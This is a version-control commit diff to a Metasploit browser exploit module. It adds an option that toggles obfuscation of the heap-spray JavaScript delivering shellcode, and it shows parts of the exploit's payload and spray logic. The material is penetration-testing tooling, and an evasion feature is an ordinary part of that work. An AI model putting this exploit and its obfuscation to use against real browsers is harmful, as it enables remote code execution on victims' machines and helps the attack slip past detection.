Allow JavaScript obfuscation as an option

git-svn-id: file:///home/svn/framework3/trunk@13556 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-08-13 02:28:49 +00:00
parent c29a4d5ea3
commit 55d60a1af2
1 changed files with 13 additions and 8 deletions

View File

@ -63,7 +63,6 @@ class Metasploit3 < Msf::Exploit::Remote
'Payload' =>
{
'Space' => 0x1000, # depending on the spray size it's actually a lot more
'BadChars' => "",
},
'Targets' =>
[
@ -122,10 +121,11 @@ class Metasploit3 < Msf::Exploit::Remote
'DisclosureDate' => 'Feb 2 2011'
))
register_options(
register_options(
[
OptBool.new('SEHProlog', [ true, 'Whether to prepend the payload with an SEH prolog, to catch crashes and enable a silent exit', true]),
OptBool.new('CreateThread', [ true, 'Whether to execute the payload in a new thread', true]),
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]),
], self.class
)
@ -329,13 +329,18 @@ function #{@js_func}() {
treeSel.invalidateSelection();
}
EOS
opts = {
'Symbols' => {
'Variables' => %w{ shellcode container delimiter block treeSel big pad spray count }
}
}
send_response(cli, obfuscate_js(custom_js, opts), { 'Content-Type' => 'application/x-javascript' })
if datastore['OBFUSCATE']
opts = {
'Symbols' => {
'Variables' => %w{ shellcode container delimiter block treeSel big pad spray count }
}
}
custom_js = obfuscate_js(custom_js,opts)
end
send_response(cli, custom_js, { 'Content-Type' => 'application/x-javascript' })
end
# Handle the payload